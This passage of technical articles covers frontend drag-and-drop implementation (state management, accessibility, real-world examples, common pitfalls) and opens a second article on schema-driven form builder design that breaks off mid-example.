- Con: Less control over edge cases
- Con: Learning library-specific patterns

**Library comparison**:

| Library                            | Approach                | Size (gzipped) | Accessibility     | Framework |
| ---------------------------------- | ----------------------- | -------------- | ----------------- | --------- |
| react-dnd                          | Backend abstraction     | ~12KB          | Manual            | React     |
| dnd-kit                            | Sensor abstraction      | ~15KB          | Built-in          | React     |
| Sortable.js                        | Native DnD + touch      | ~7KB           | Manual            | Vanilla   |
| @atlassian/pragmatic-drag-and-drop | Native primitives       | ~5KB core      | Separate packages | Vanilla   |
| @react-aria/dnd                    | Pointer + accessibility | ~20KB          | Built-in          | React     |

### Decision Framework

![Diagram](./diagram-1.svg)

## Implementing Core Patterns

### List Reordering

The most common drag-drop pattern: reorder items within a single list.

**State management**: Track source index, current hover index, and compute final order on drop.

```typescript collapse={1-8, 45-55}
interface SortableListState<T> {
  items: T[]
  dragIndex: number | null
  hoverIndex: number | null
}

function useSortableList<T extends { id: string }>(
  initialItems: T[],
): {
  items: T[]
  dragHandlers: (index: number) => DragHandlers
  dropHandlers: (index: number) => DropHandlers
} {
  const [state, setState] = useState<SortableListState<T>>({
    items: initialItems,
    dragIndex: null,
    hoverIndex: null,
  })

  const dragHandlers = (index: number) => ({
    onDragStart: () => {
      setState((s) => ({ ...s, dragIndex: index }))
    },
    onDragEnd: () => {
      setState((s) => {
        if (s.dragIndex === null || s.hoverIndex === null) {
          return { ...s, dragIndex: null, hoverIndex: null }
        }

        // Reorder items
        const newItems = [...s.items]
        const [removed] = newItems.splice(s.dragIndex, 1)
        newItems.splice(s.hoverIndex, 0, removed)

        return { items: newItems, dragIndex: null, hoverIndex: null }
      })
    },
  })

  const dropHandlers = (index: number) => ({
    onDragEnter: () => {
      setState((s) => ({ ...s, hoverIndex: index }))
    },
  })

  return { items: state.items, dragHandlers, dropHandlers }
}
```

**Visual indicator placement**: Show drop indicator between items, not on items.

```typescript
function getDropIndicatorPosition(e: PointerEvent, element: HTMLElement): "before" | "after" {
  const rect = element.getBoundingClientRect()
  const midpoint = rect.top + rect.height / 2
  return e.clientY < midpoint ? "before" : "after"
}
```

### Cross-Container Dragging

Moving items between multiple lists (Kanban boards, multi-column layouts).

**Key challenge**: Tracking which container an item is over, handling container-level acceptance rules.

```typescript collapse={1-15, 50-60}
interface Container {
  id: string
  accepts: (item: DragItem) => boolean
}

interface DragItem {
  id: string
  type: string
  sourceContainerId: string
}

interface CrossContainerState {
  containers: Map<string, Container>
  activeItem: DragItem | null
  overContainerId: string | null
  overIndex: number | null
}

function handleCrossContainerDrop(
  state: CrossContainerState,
  sourceItems: Map<string, unknown[]>,
  setItems: (containerId: string, items: unknown[]) => void,
): void {
  const { activeItem, overContainerId, overIndex } = state
  if (!activeItem || !overContainerId || overIndex === null) return

  const targetContainer = state.containers.get(overContainerId)
  if (!targetContainer?.accepts(activeItem)) return

  // Remove from source
  const sourceList = [...(sourceItems.get(activeItem.sourceContainerId) ?? [])]
  const sourceIndex = sourceList.findIndex((item: any) => item.id === activeItem.id)
  const [removed] = sourceList.splice(sourceIndex, 1)
  setItems(activeItem.sourceContainerId, sourceList)

  // Add to target
  const targetList = [...(sourceItems.get(overContainerId) ?? [])]
  targetList.splice(overIndex, 0, removed)
  setItems(overContainerId, targetList)
}
```

**Acceptance rules**: Containers can restrict what items they accept.

```typescript
const containers: Container[] = [
  {
    id: "todo",
    accepts: (item) => item.type === "task",
  },
  {
    id: "done",
    accepts: (item) => item.type === "task" && item.status !== "blocked",
  },
  {
    id: "archive",
    accepts: () => true, // Accepts anything
  },
]
```

### Tree Reordering

Hierarchical structures with nesting (file trees, nested lists).

**Complexity factors**:

- Drop zones: before sibling, after sibling, as child
- Depth detection from pointer position
- Preventing invalid drops (item into its own descendants)

```typescript collapse={1-10, 55-65}
interface TreeNode {
  id: string
  children: TreeNode[]
  parentId: string | null
}

type TreeDropPosition =
  | { type: "before"; targetId: string }
  | { type: "after"; targetId: string }
  | { type: "child"; parentId: string }

function getTreeDropPosition(e: PointerEvent, element: HTMLElement, depthIndicatorWidth: number): TreeDropPosition {
  const rect = element.getBoundingClientRect()
  const relativeY = e.clientY - rect.top
  const relativeX = e.clientX - rect.left

  const nodeId = element.dataset.nodeId!
  const currentDepth = parseInt(element.dataset.depth ?? "0")

  // Top quarter: drop before
  if (relativeY < rect.height * 0.25) {
    return { type: "before", targetId: nodeId }
  }

  // Bottom quarter: drop after
  if (relativeY > rect.height * 0.75) {
    return { type: "after", targetId: nodeId }
  }

  // Middle: check horizontal position for nesting
  const hoverDepth = Math.floor(relativeX / depthIndicatorWidth)
  if (hoverDepth > currentDepth) {
    return { type: "child", parentId: nodeId }
  }

  return { type: "after", targetId: nodeId }
}

function isDescendant(tree: TreeNode[], nodeId: string, potentialAncestorId: string): boolean {
  const findNode = (nodes: TreeNode[], id: string): TreeNode | null => {
    for (const node of nodes) {
      if (node.id === id) return node
      const found = findNode(node.children, id)
      if (found) return found
    }
    return null
  }

  const ancestor = findNode(tree, potentialAncestorId)
  if (!ancestor) return false

  return findNode(ancestor.children, nodeId) !== null
}
```

### Virtualized List Dragging

Large lists with windowing present unique challenges: elements outside viewport don't exist in DOM.

**Problem**: Standard hit-testing fails when potential drop targets aren't rendered.

**Solutions**:

1. **Overscan**: Render extra items beyond viewport. Simple but memory overhead.
2. **Position-based hit testing**: Calculate target from scroll position, not DOM.
3. **Scroll-on-drag**: Auto-scroll when dragging near edges.

```typescript collapse={1-10, 45-55}
interface VirtualListDragConfig {
  itemHeight: number
  totalItems: number
  viewportHeight: number
  scrollTop: number
  scrollContainerRef: React.RefObject<HTMLElement>
}

function getVirtualDropIndex(clientY: number, config: VirtualListDragConfig): number {
  const { itemHeight, totalItems, scrollTop, scrollContainerRef } = config
  const container = scrollContainerRef.current
  if (!container) return 0

  const containerRect = container.getBoundingClientRect()
  const relativeY = clientY - containerRect.top + scrollTop
  const index = Math.floor(relativeY / itemHeight)

  return Math.max(0, Math.min(totalItems - 1, index))
}

function handleAutoScroll(clientY: number, config: VirtualListDragConfig): void {
  const container = config.scrollContainerRef.current
  if (!container) return

  const rect = container.getBoundingClientRect()
  const edgeThreshold = 50 // pixels
  const scrollSpeed = 10

  if (clientY < rect.top + edgeThreshold) {
    // Near top edge - scroll up
    container.scrollTop -= scrollSpeed
  } else if (clientY > rect.bottom - edgeThreshold) {
    // Near bottom edge - scroll down
    container.scrollTop += scrollSpeed
  }
}
```

## Drag Preview and Visual Feedback

### Native vs Custom Drag Images

**Native drag image** (HTML5 DnD): Browser captures element snapshot at `dragstart`. Limited customization.

```typescript
// Basic custom drag image
element.addEventListener("dragstart", (e) => {
  const preview = createCustomPreview()
  document.body.appendChild(preview)
  preview.style.position = "absolute"
  preview.style.left = "-9999px"

  // Offset positions the cursor relative to the image
  e.dataTransfer?.setDragImage(preview, 20, 20)

  requestAnimationFrame(() => preview.remove())
})
```

**Custom drag layer** (Pointer Events approach): Render preview element that follows pointer.

```typescript collapse={1-8, 35-45}
interface DragPreviewState {
  isDragging: boolean;
  item: unknown;
  x: number;
  y: number;
}

function DragPreview({ state }: { state: DragPreviewState }) {
  if (!state.isDragging) return null;

  return (
    <div
      style={{
        position: 'fixed',
        left: state.x,
        top: state.y,
        pointerEvents: 'none', // Don't block hit testing
        transform: 'translate(-50%, -50%) rotate(3deg)', // Slight rotation
        opacity: 0.9,
        zIndex: 9999
      }}
    >
      <ItemCard item={state.item} />
    </div>
  );
}
```

**Performance consideration**: Moving a DOM element every `pointermove` (60+ times/second) can cause jank. Use `transform` instead of `left/top`—it's GPU-accelerated and doesn't trigger layout.

### Drop Indicators

Visual feedback showing where the item will land.

**Line indicator**: Horizontal line between items.

```css
.drop-indicator {
  position: absolute;
  left: 0;
  right: 0;
  height: 2px;
  background: var(--color-accent);
  pointer-events: none;
}

.drop-indicator--before {
  top: -1px;
}

.drop-indicator--after {
  bottom: -1px;
}
```

**Placeholder gap**: Reserve space where item will drop.

```typescript
function renderItems(items: Item[], dragIndex: number | null, hoverIndex: number | null) {
  return items.map((item, index) => {
    const isDragging = index === dragIndex;
    const showGapBefore = hoverIndex === index && dragIndex !== null && dragIndex > index;
    const showGapAfter = hoverIndex === index && dragIndex !== null && dragIndex < index;

    return (
      <>
        {showGapBefore && <div className="drop-gap" />}
        <ItemCard
          key={item.id}
          item={item}
          style={{ opacity: isDragging ? 0.5 : 1 }}
        />
        {showGapAfter && <div className="drop-gap" />}
      </>
    );
  });
}
```

### Animation Patterns

**Layout shift animation**: Animate other items moving out of the way.

```css
.sortable-item {
  transition: transform 200ms ease;
}

.sortable-item--shifted-down {
  transform: translateY(var(--item-height));
}

.sortable-item--shifted-up {
  transform: translateY(calc(-1 * var(--item-height)));
}
```

**Drop animation**: Animate item settling into final position.

```typescript
async function animateDrop(
  element: HTMLElement,
  from: { x: number; y: number },
  to: { x: number; y: number },
): Promise<void> {
  const deltaX = to.x - from.x
  const deltaY = to.y - from.y

  // Start at drag position
  element.style.transform = `translate(${-deltaX}px, ${-deltaY}px)`
  element.style.transition = "none"

  // Force reflow
  element.offsetHeight

  // Animate to final position
  element.style.transition = "transform 200ms ease-out"
  element.style.transform = ""

  return new Promise((resolve) => {
    element.addEventListener("transitionend", () => resolve(), { once: true })
  })
}
```

## Accessibility Implementation

### Keyboard Navigation

WCAG-compliant drag-drop requires full keyboard support.

**Interaction pattern**:

1. Focus item with Tab
2. Press Enter/Space to "pick up" item
3. Arrow keys or Tab to move between positions
4. Enter/Space to "drop" or Escape to cancel

```typescript collapse={1-15, 60-75}
interface KeyboardDragState {
  isActive: boolean
  activeItemId: string | null
  targetIndex: number | null
}

function useKeyboardDrag(items: Item[], onReorder: (fromIndex: number, toIndex: number) => void) {
  const [state, setState] = useState<KeyboardDragState>({
    isActive: false,
    activeItemId: null,
    targetIndex: null,
  })

  const handleKeyDown = (e: KeyboardEvent, itemId: string, currentIndex: number) => {
    if (!state.isActive) {
      // Not dragging - Enter starts drag
      if (e.key === "Enter" || e.key === " ") {
        e.preventDefault()
        setState({
          isActive: true,
          activeItemId: itemId,
          targetIndex: currentIndex,
        })
        announceToScreenReader(`Grabbed ${items[currentIndex].name}. Use arrow keys to move.`)
      }
      return
    }

    // Currently dragging
    switch (e.key) {
      case "ArrowUp":
      case "ArrowLeft":
        e.preventDefault()
        if (state.targetIndex! > 0) {
          const newIndex = state.targetIndex! - 1
          setState((s) => ({ ...s, targetIndex: newIndex }))
          announceToScreenReader(`Position ${newIndex + 1} of ${items.length}`)
        }
        break

      case "ArrowDown":
      case "ArrowRight":
        e.preventDefault()
        if (state.targetIndex! < items.length - 1) {
          const newIndex = state.targetIndex! + 1
          setState((s) => ({ ...s, targetIndex: newIndex }))
          announceToScreenReader(`Position ${newIndex + 1} of ${items.length}`)
        }
        break

      case "Enter":
      case " ":
        e.preventDefault()
        const fromIndex = items.findIndex((i) => i.id === state.activeItemId)
        onReorder(fromIndex, state.targetIndex!)
        setState({ isActive: false, activeItemId: null, targetIndex: null })
        announceToScreenReader(`Dropped at position ${state.targetIndex! + 1}`)
        break

      case "Escape":
        e.preventDefault()
        setState({ isActive: false, activeItemId: null, targetIndex: null })
        announceToScreenReader("Drag cancelled")
        break
    }
  }

  return { state, handleKeyDown }
}
```

### Screen Reader Announcements

Use ARIA live regions to announce drag state changes.

```typescript
function announceToScreenReader(message: string): void {
  let announcer = document.getElementById("drag-announcer")

  if (!announcer) {
    announcer = document.createElement("div")
    announcer.id = "drag-announcer"
    announcer.setAttribute("aria-live", "assertive")
    announcer.setAttribute("aria-atomic", "true")
    announcer.style.cssText = `
      position: absolute;
      width: 1px;
      height: 1px;
      padding: 0;
      margin: -1px;
      overflow: hidden;
      clip: rect(0, 0, 0, 0);
      white-space: nowrap;
      border: 0;
    `
    document.body.appendChild(announcer)
  }

  // Clear and set to ensure announcement
  announcer.textContent = ""
  requestAnimationFrame(() => {
    announcer!.textContent = message
  })
}
```

**Announcement timing**:

| Event           | Announcement                                                                    |
| --------------- | ------------------------------------------------------------------------------- |
| Drag start      | "Grabbed [item name]. Use arrow keys to move, Enter to drop, Escape to cancel." |
| Position change | "Position [n] of [total]" or "[item name] moved before [other item]"            |
| Drop            | "Dropped [item name] at position [n]"                                           |
| Cancel          | "Drag cancelled. [item name] returned to position [n]"                          |
| Invalid drop    | "[target] does not accept [item type]"                                          |

### ARIA Attributes

```html
<!-- Draggable item -->
<div role="listitem" tabindex="0" aria-grabbed="false" aria-describedby="drag-instructions">Item content</div>

<!-- When being dragged -->
<div role="listitem" tabindex="0" aria-grabbed="true" aria-describedby="drag-instructions">Item content</div>

<!-- Drop target -->
<div role="list" aria-dropeffect="move">
  <!-- items -->
</div>

<!-- Instructions (hidden visually) -->
<div id="drag-instructions" class="sr-only">
  Press Enter to grab. Use arrow keys to move. Press Enter to drop or Escape to cancel.
</div>
```

**Note**: `aria-grabbed` and `aria-dropeffect` are deprecated in ARIA 1.1 but still supported. Modern implementations rely more on live region announcements.

## Real-World Implementations

### Trello: Kanban Board

**Challenge**: Drag cards between multiple lists with smooth animations and real-time sync.

**Approach**:

- Native HTML5 DnD for desktop with custom touch handling
- Drop zones on each card and at list bottom
- Visual feedback: Card rotates slightly during drag ("jaunty angle")
- Optimistic updates with server reconciliation

**Technical details**:

- `isDragging` state flag prevents style changes during drag (CSS transitions can interfere)
- Lists are drop zones; cards calculate before/after position from pointer Y
- AJAX PATCH to `/cards/{id}` with new `pos` value (floating-point for ordering)
- Real-time updates via WebSocket push to other clients

**Key insight**: Trello uses position values with gaps (1.0, 2.0, 3.0) allowing inserts without reindexing all cards. When gaps exhaust, background job rebalances.

### Notion: Block Reordering

**Challenge**: Every piece of content is a draggable, nestable block. Blocks can be text, images, databases, or embedded content.

**Approach**:

- Custom Pointer Events implementation
- Drag handle (six dots) appears on hover
- Multi-block selection with Shift+click
- Alt/Option + drag creates duplicate
- Horizontal drag position determines nesting depth

**Technical details**:

- Block IDs use UUIDs for conflict-free collaborative editing
- Drag preview shows block outline, not full content
- Drop indicator changes style based on nesting level
- Tree operations use CRDT for real-time collaboration

**Key insight**: Notion separates "block" (content unit) from "view" (how it renders). Dragging operates on block identity, not DOM elements.

### Figma: Canvas Objects

**Challenge**: Drag objects on infinite canvas with zoom, precision positioning, and multi-select.

**Approach**:

- WebGL rendering (not DOM) for canvas
- Pointer Events for input handling
- Separate layers: rendering, interaction, UI
- DndKit for UI elements (layer list, component browser)

**Technical details**:

- Canvas uses custom hit-testing against scene graph, not `elementFromPoint`
- Drag threshold prevents accidental moves (3px)
- Snap-to-grid and smart guides during drag
- Undo stack captures drag as single operation

**Key insight**: Figma's architecture separates concerns: WebGL handles rendering, D3-style zoom handles viewport, Pointer Events handle input. No single "drag library" covers all needs.

### VSCode: File Tree and Tabs

**Challenge**: Drag files between explorer, editors, and terminals. Support external file drops.

**Approach**:

- Custom implementation with `LocalSelectionTransfer` for same-window drags
- Native DnD for external file drops
- Drag identifiers: `DraggedEditorIdentifier` (single file), `DraggedEditorGroupIdentifier` (tab group)

**Technical details**:

- `LocalSelectionTransfer` singleton manages in-app drag state
- `EditorDropTarget` components register as drop zones
- File tree supports dragging into and out of folders
- Tab dragging supports reordering and moving between groups

**Key insight**: VSCode uses different drag mechanisms for internal vs. external drops. Internal uses custom state management; external uses native DataTransfer for file access.

## Browser Constraints

### Main Thread Budget

Drag operations run on main thread. Heavy operations cause jank.

**Budget**: 16ms per frame for 60fps. Drag handlers should complete in <8ms to leave room for rendering.

**Optimization strategies**:

1. **Throttle pointermove**: Don't process every event
2. **Debounce drop target calculations**: Especially for complex hit-testing
3. **RAF for visual updates**: Batch position updates to animation frame
4. **Avoid layout thrashing**: Read dimensions before starting drag, cache them

```typescript
// Throttled drag handler
let lastMoveTime = 0
const THROTTLE_MS = 16 // One frame

function handlePointerMove(e: PointerEvent): void {
  const now = performance.now()
  if (now - lastMoveTime < THROTTLE_MS) return
  lastMoveTime = now

  // Actual move handling
  updateDragPosition(e.clientX, e.clientY)
}
```

### Touch Delay and Gesture Conflicts

Mobile browsers have 300ms tap delay (mostly eliminated in modern browsers with proper viewport meta). Touch gestures conflict with drag.

**Activation constraints prevent accidental drags**:

```typescript
interface ActivationConstraint {
  delay?: number // ms to hold before drag starts
  distance?: number // px to move before drag starts
  tolerance?: number // px of movement allowed during delay
}

// dnd-kit sensor configuration
const pointerSensor = useSensor(PointerSensor, {
  activationConstraint: {
    delay: 250, // Hold 250ms before drag activates
    tolerance: 5, // Allow 5px movement during delay
  },
})
```

### Memory Considerations

Long drag operations with many drop targets can accumulate state.

**Cleanup patterns**:

- Clear highlight states on `pointercancel`
- Remove event listeners when drag ends
- Reset animations to avoid stale transforms
- Clear cached dimensions if window resizes during drag

```typescript
function cleanupDragState(): void {
  // Reset all visual states
  document.querySelectorAll(".drop-target-active").forEach((el) => {
    el.classList.remove("drop-target-active")
  })

  // Clear cached data
  dropTargetRects.clear()

  // Remove global listeners
  document.removeEventListener("pointermove", handleGlobalMove)
  document.removeEventListener("pointerup", handleGlobalUp)
}
```

## Common Pitfalls

### 1. Missing preventDefault in dragover

**The mistake**: Only calling `preventDefault()` in `drop` handler.

```typescript
// Broken - drop never fires
element.addEventListener("drop", (e) => {
  e.preventDefault()
  handleDrop(e)
})
```

**Why it fails**: Browser requires `preventDefault()` in `dragenter` AND `dragover` to mark element as valid drop target. Without it, `drop` event never fires.

**The fix**:

```typescript
element.addEventListener("dragenter", (e) => e.preventDefault())
element.addEventListener("dragover", (e) => e.preventDefault())
element.addEventListener("drop", (e) => {
  e.preventDefault()
  handleDrop(e)
})
```

### 2. Drag Image Not Visible

**The mistake**: Creating drag image dynamically without adding to DOM.

```typescript
// Broken in Chrome
element.addEventListener("dragstart", (e) => {
  const img = document.createElement("div")
  img.textContent = "Dragging"
  e.dataTransfer?.setDragImage(img, 0, 0) // Invisible
})
```

**Why it fails**: Chrome requires the drag image element to be in the DOM and have layout. Firefox doesn't.

**The fix**:

```typescript
element.addEventListener("dragstart", (e) => {
  const img = document.createElement("div")
  img.textContent = "Dragging"
  img.style.position = "absolute"
  img.style.left = "-9999px"
  document.body.appendChild(img)

  e.dataTransfer?.setDragImage(img, 0, 0)

  requestAnimationFrame(() => img.remove())
})
```

### 3. Touch Events Not Firing

**The mistake**: Assuming HTML5 DnD works on touch devices.

```typescript
// Only works with mouse
element.draggable = true
element.addEventListener("dragstart", handleDragStart)
// Touch users see nothing
```

**Why it fails**: HTML5 Drag and Drop API is mouse-only. Touch events don't trigger drag events.

**The fix**: Use Pointer Events or add explicit touch handling:

```typescript
element.addEventListener("pointerdown", handlePointerDown)
// OR
element.addEventListener("touchstart", handleTouchStart, { passive: false })
```

### 4. Passive Event Listener Blocking preventDefault

**The mistake**: Touch events added without `{ passive: false }`.

```typescript
// preventDefault has no effect
element.addEventListener("touchmove", (e) => {
  e.preventDefault() // Ignored! Scrolls anyway
  handleDrag(e)
})
```

**Why it fails**: Modern browsers make touch listeners passive by default for scroll performance. Passive listeners cannot `preventDefault()`.

**The fix**:

```typescript
element.addEventListener(
  "touchmove",
  (e) => {
    e.preventDefault()
    handleDrag(e)
  },
  { passive: false },
)
```

### 5. State Desync with Optimistic Updates

**The mistake**: Updating UI before server confirms, then not handling failures.

```typescript
// Optimistic update without rollback
function handleDrop(fromIndex: number, toIndex: number): void {
  setItems(reorder(items, fromIndex, toIndex))
  api.updateOrder(items.map((i) => i.id)) // Fire and forget
}
```

**Why it fails**: Server rejection leaves UI in wrong state. Network failure loses the change.

**The fix**:

```typescript
function handleDrop(fromIndex: number, toIndex: number): void {
  const previousItems = items
  const newItems = reorder(items, fromIndex, toIndex)

  setItems(newItems) // Optimistic

  api.updateOrder(newItems.map((i) => i.id)).catch(() => {
    setItems(previousItems) // Rollback
    showError("Failed to save order")
  })
}
```

## Conclusion

Drag and drop systems require unifying disparate browser APIs while maintaining accessibility. The fundamental tension: native HTML5 DnD provides OS integration but lacks touch support and has cross-browser quirks. Custom Pointer Events implementations provide consistency but lose native features like cross-window drag.

**Architectural decisions**:

**API layer**: Native DnD for file drops and cross-window scenarios. Pointer Events for consistent in-app interactions. Most applications need both.

**Library vs custom**: Libraries (dnd-kit, react-dnd) provide tested solutions for common patterns. Custom implementation when you need precise control or have unusual requirements (canvas-based, non-DOM rendering).

**Accessibility**: Not optional. WCAG 2.5.7 requires keyboard alternatives. Build it in from the start—retrofitting is harder.

**Visual feedback**: Users need constant feedback during drag. Drag preview follows cursor, drop indicators show destination, animations smooth transitions. Without feedback, drag operations feel broken.

The technology is mature. dnd-kit and Pragmatic Drag and Drop represent the current best practices—Pointer Events foundation, sensor abstraction, built-in accessibility. Choose based on your framework constraints and whether you need native DnD features.

## Appendix

### Prerequisites

- **DOM events**: Event propagation, delegation, preventDefault
- **CSS transforms**: translate, transform-origin, GPU acceleration
- **Browser input APIs**: Basic familiarity with mouse, touch, or pointer events
- **React hooks** (if using React-based libraries)

### Terminology

- **DataTransfer**: HTML5 DnD object carrying data between drag source and drop target
- **Drag handle**: UI element that initiates drag (often a grip icon)
- **Drop indicator**: Visual marker showing where dragged item will land
- **Hit testing**: Determining which element is under the pointer
- **Pointer capture**: API to receive all pointer events for a specific pointer ID
- **Sensor**: dnd-kit abstraction for input type (pointer, touch, keyboard)

### Summary

- **HTML5 DnD limitations**: Mouse-only, DataTransfer timing quirks, no touch support without separate implementation
- **Pointer Events advantage**: Single API for mouse/touch/pen, pointer capture for reliable drag tracking
- **Accessibility requirement**: WCAG 2.5.7 mandates keyboard alternatives—Enter to grab, Tab/arrows to move, Enter to drop
- **Library approaches**: Native wrappers (Sortable.js, react-dnd) vs custom implementations (dnd-kit, Pragmatic)
- **Visual feedback**: Drag preview, drop indicators, and animations are essential for usable drag-drop
- **Real-world patterns**: Trello uses position gaps, Notion operates on block IDs, Figma separates rendering from input

### References

- [WHATWG HTML Standard - Drag and Drop](https://html.spec.whatwg.org/multipage/dnd.html) - Normative specification for HTML5 DnD
- [W3C Pointer Events](https://www.w3.org/TR/pointerevents/) - Unified pointer input specification
- [W3C Touch Events Level 2](https://w3c.github.io/touch-events/) - Touch Events specification (legacy)
- [WCAG 2.5.7: Dragging Movements](https://www.w3.org/WAI/WCAG22/Understanding/dragging-movements.html) - Accessibility requirements
- [MDN: HTML Drag and Drop API](https://developer.mozilla.org/en-US/docs/Web/API/HTML_Drag_and_Drop_API) - API reference and examples
- [MDN: Pointer Events](https://developer.mozilla.org/en-US/docs/Web/API/Pointer_events) - Pointer Events guide
- [dnd-kit Documentation](https://docs.dndkit.com/) - Modern drag-drop library
- [React DnD Documentation](https://react-dnd.github.io/react-dnd/docs/overview) - Backend abstraction approach
- [Pragmatic Drag and Drop - Atlassian](https://atlassian.design/components/pragmatic-drag-and-drop) - Low-level primitives approach
- [React Aria: Accessible Drag and Drop](https://react-spectrum.adobe.com/react-aria/dnd.html) - Adobe's accessibility-first implementation

---

## Design a Form Builder

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/frontend-system-design/design-form-builder
**Category:** System Design / Frontend System Design
**Description:** Schema-driven form generation systems that render dynamic UIs from declarative definitions. This article covers form schema architectures, validation strategies, state management patterns, and the trade-offs that shape production form builders like Typeform, Google Forms, and enterprise low-code platforms.

# Design a Form Builder

Schema-driven form generation systems that render dynamic UIs from declarative definitions. This article covers form schema architectures, validation strategies, state management patterns, and the trade-offs that shape production form builders like Typeform, Google Forms, and enterprise low-code platforms.

<figure>

![Form builder architecture: schemas define structure, runtime renders and validates, persistence handles drafts and submissions.](./form-builder-architecture-schemas-define-structure-runtime-renders-and-validates.svg)

<figcaption>Form builder architecture: schemas define structure, runtime renders and validates, persistence handles drafts and submissions.</figcaption>
</figure>

## Abstract

A form builder separates **what** (schema) from **how** (rendering) through three layers:

1. **Schema Layer** — JSON Schema or custom DSL defines field types, validation rules, and relationships. TypeScript inference provides compile-time safety.

2. **Runtime Layer** — Component registry maps field types to UI components. State manager tracks values, errors, dirty state. Validation engine supports sync, async, and cross-field rules.

3. **Persistence Layer** — Autosave to IndexedDB for draft recovery. Debounced saves prevent data loss without server overhead.

Key architectural decisions:

| Decision          | Options                        | Trade-off                       |
| ----------------- | ------------------------------ | ------------------------------- |
| State approach    | Controlled vs Uncontrolled     | Re-renders vs Direct DOM access |
| Validation timing | onChange vs onBlur vs onSubmit | Responsiveness vs Performance   |
| Schema format     | JSON Schema vs Custom DSL      | Interoperability vs Flexibility |
| Field rendering   | Eager vs Virtualized           | Simplicity vs Scale             |

## The Challenge

### Why Forms Are Hard

Forms appear simple but encode complex state machines: field visibility depends on other fields, validation rules cross boundaries, and user expectations around autosave and error recovery are high.

### Browser Constraints

| Constraint                          | Impact                    | Mitigation                         |
| ----------------------------------- | ------------------------- | ---------------------------------- |
| Main thread (16ms budget)           | Validation blocking input | Debounce, Web Workers              |
| Memory (mobile: 50-100MB practical) | Large form state trees    | Virtualization, state pruning      |
| localStorage (5MB)                  | Draft storage limits      | IndexedDB (50% of disk)            |
| Re-render cost                      | Sluggish typing feedback  | Uncontrolled inputs, subscriptions |

### Scale Factors

| Factor            | Small       | Medium     | Large           |
| ----------------- | ----------- | ---------- | --------------- |
| Fields            | < 50        | 50-200     | > 200           |
| Nested depth      | 1-2 levels  | 3-4 levels | 5+ levels       |
| Conditional rules | < 10        | 10-50      | > 50            |
| Update frequency  | Submit only | Blur       | Every keystroke |

Large-scale forms (tax software, insurance applications, enterprise workflows) require virtualization and careful state management to remain responsive.

## Design Paths

### Path 1: JSON Schema + UI Schema

**Architecture:**

![Diagram](./diagram-1.svg)

**How it works:**

JSON Schema defines data structure and validation constraints. A separate UI Schema specifies rendering hints (widgets, field order, layout). The renderer traverses both schemas to generate the form.

```typescript title="schema-example.ts" collapse={1-2}
// JSON Schema defines data shape and validation
import type { JSONSchema7 } from "json-schema"

const schema: JSONSchema7 = {
  type: "object",
  required: ["email", "role"],
  properties: {
    email: {
      type: "string",
      format: "email",
      title: "Email Address",
    },
    role: {
      type: "string",
      enum: ["admin", "user", "guest"],
      title: "Role",
    },
    permissions: {
      type: "array",
      items: { type: "string" },
      title: "Permissions",
    },
  },
}

// UI Schema controls rendering
const uiSchema = {
  email: { "ui:autofocus": true },
  role: { "ui:widget": "radio" },
  permissions: { "ui:widget": "checkboxes" },
}
```

**Best for:**

- Standards-compliant form definitions shared across systems
- Backend-generated forms (server defines schema, client renders)
- API documentation integration (OpenAPI to form generation)

**Device/network profile:**

- Works well on: Desktop, stable networks (schema fetching)
- Struggles on: Low-end mobile with complex nested schemas (parsing overhead)

**Implementation complexity:**

| Aspect               | Effort                             |
| -------------------- | ---------------------------------- |
| Initial setup        | Low (libraries handle rendering)   |
| Custom widgets       | Medium (widget registry)           |
| Complex conditionals | High (JSON Schema `if/then/else`)  |
| Type safety          | Medium (inference libraries exist) |

**Real-world example:**

React JSON Schema Form (RJSF) powers forms at Mozilla, Postman, and numerous enterprise tools. The schema-first approach enables form definitions stored in databases and shared between frontend and backend validation.

**Trade-offs:**

- ✅ Schema reusable across platforms (web, mobile, validation)
- ✅ AJV validation is battle-tested and fast
- ❌ UI Schema adds second layer of complexity
- ❌ Complex conditional logic is verbose in JSON Schema

### Path 2: TypeScript-First Schema (Zod/TypeBox)

**Architecture:**

![Diagram](./diagram-2.svg)

**How it works:**

Define schemas in TypeScript with libraries like Zod or TypeBox. Types are inferred automatically—write once, get both compile-time checking and runtime validation.

```typescript title="zod-schema.ts" collapse={1-3}
// TypeScript-first schema with Zod
import { z } from "zod"

const userSchema = z
  .object({
    email: z.string().email("Invalid email format"),
    age: z.number().min(18, "Must be 18 or older"),
    role: z.enum(["admin", "user", "guest"]),
    // Cross-field validation
  })
  .refine((data) => data.role !== "admin" || data.age >= 21, { message: "Admins must be 21+", path: ["age"] })

// Type is automatically inferred
type User = z.infer<typeof userSchema>
// { email: string; age: number; role: "admin" | "user" | "guest" }

// Async validation example
const uniqueEmailSchema = z
  .string()
  .email()
  .refine(
    async (email) => {
      const exists = await checkEmailExists(email)
      return !exists
    },
    { message: "Email already registered" },
  )
```

**Best for:**

- TypeScript-heavy codebases wanting type inference
- Complex validation logic (easier in code than JSON)
- React Hook Form or similar library integration

**Device/network profile:**

- Works well on: All devices (validation runs locally)
- Struggles on: Async validation on slow networks (needs debouncing)

**Implementation complexity:**

| Aspect               | Effort                     |
| -------------------- | -------------------------- |
| Initial setup        | Low (npm install + schema) |
| Type inference       | Automatic                  |
| Custom validation    | Low (just write functions) |
| Schema serialization | Medium (not JSON-native)   |

**Real-world example:**

tRPC, Remix, and Next.js applications commonly use Zod for end-to-end type safety. The schema validates both client forms and server API handlers.

**Trade-offs:**

- ✅ Full TypeScript inference without code generation
- ✅ Complex validation logic is natural in code
- ✅ Excellent React Hook Form integration via resolvers
- ❌ Not portable to non-JS backends (unlike JSON Schema)
- ❌ Schema not easily stored in database

### Path 3: Form State Machine (XState)

**Architecture:**

![Diagram](./diagram-3.svg)

**How it works:**

Model the form as a finite state machine. Each step is a state, transitions are guarded by validation, and context holds accumulated form data. XState handles complex flows like multi-step wizards, conditional branching, and async operations.

```typescript title="form-machine.ts" collapse={1-5, 45-60}
// XState form wizard machine
import { createMachine, assign } from "xstate"

type FormContext = {
  step1Data: { name: string } | null
  step2Data: { email: string } | null
  errors: Record<string, string>
}

const formMachine = createMachine({
  id: "formWizard",
  initial: "step1",
  context: {
    step1Data: null,
    step2Data: null,
    errors: {},
  } as FormContext,
  states: {
    step1: {
      on: {
        NEXT: {
          target: "step2",
          guard: "isStep1Valid",
          actions: assign({
            step1Data: (_, event) => event.data,
          }),
        },
      },
    },
    step2: {
      on: {
        NEXT: { target: "submitting", guard: "isStep2Valid" },
        BACK: "step1",
      },
    },
    submitting: {
      invoke: {
